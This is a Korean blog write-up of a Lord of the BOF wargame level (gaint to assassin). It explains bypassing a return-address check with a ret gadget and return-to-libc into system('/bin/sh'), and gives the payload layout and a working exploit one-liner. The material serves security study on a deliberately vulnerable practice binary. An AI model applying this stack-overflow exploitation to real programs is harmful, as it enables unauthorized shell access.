BOF redhat 원정대 gaint -> assassin
assassin, assassin.c
코드를 보면 RET에 0xbf, 0x40으로 시작하는 주소로 덮게 되면 프로그램이 종료된다.
argc는 2이상이어야하고 SFP와 버퍼를 초기화 하는 코드가 있다.
RET에 스택, 라이브러리의 주소가 오지 못하기 때문에 RTL을 사용하여 공격해야 한다.
ROP를 작성 할 때 '어셈 + ret'으로 된 가젯을 순서대로 나열하여 원하는 행동을 실행하도록 한다. ret는 pop eip/ jmp eip로 pop을 한번 하기 때문에 스택에서 esp가 4바이트 내려가고 다음 가젯의 끝에 ret가 있기 때문에 4바이트씩 가젯의 주소를 써주어 공격을 할 수 있다.
이와 비슷한 방법으로 RET를 ret코드가 있는 곳으로 덮어버리면 다음 4바이트를 ret코드를 이용해서 점프시킬수 있다.
페이로드는
[버퍼][SFP][RET]
[ 버퍼 ][ret가젯주소][system][AAAA][bin/sh]
로 공격을 할 수 있다.
ret의 주소를 찾은 후 페이로드를 작성하여 공격을 하면
공격에 성공 할 수 있다.
쉘코드 :
./assassin `python -c 'print "A"*44 + "\x1e\x85\x04\x08" + "\xe0\x8a\x05\x40" + "AAAA" + "\xf9\xbf\x0f\x40"'`
Categories
- programming (17)
- security (46)
- study (22)
- system (35)
Recent 7 Days Popular Posts
-
METASPLOIT 사용법 Metasploit 은 펄스크립트를 사용하는 침투테스트도구이다 . 1. METASPLOIT 경로 metasploit 은 Kali Linux 에 기본적으로 설치되어 있다 . Kali 기준으로 경로는...
-
프로그램은 실행하면서 많은 함수를 호출한다. 함수가 호출되고 호출받은 함수가 실행되려면 레지스터와 스택을 사용해야 한다. 버퍼오버플로우 공격을 공부하면서 호출된 함수가 어떻게 esp (스택을 관리하는 레지스터)를 백업하는지 어떻게 스택을 독립적으로 ...
-
Calling Convection 함수호출규약 은 함수(subroutine, callee)가 어떻게 인자를 전달받고 결과값을 반환하는지에 대한 로우레벨에서의 규칙이다. 다양하게 구현된 함수호출규약들은 파라미터의 위치, 리턴 값이나 리턴 ...
-
DKOM(Direct Kernel Object Manipulation)은 직접 커널 옵젝트를 수정하여 원하는 결과를 얻는다. DKOM는 커널 옵젝트를 수정해야하기 때문에 일반적으로 DDK를 이용하여 드라이버를 작성하여 구현 한다. 드라이버를 ...
-
puts@plt + 0에 puts@plt + 6의 주소가 들어있어서 호출되면 puts@plt+6의 코드가 실행 puts@plt + 11 에서 점프하면 pushl, jmp로 분기된다. pushl로 GOT+4의 주소를 스택에 넣고 GOT+8의 주소로...


0 개의 댓글:
댓글 쓰기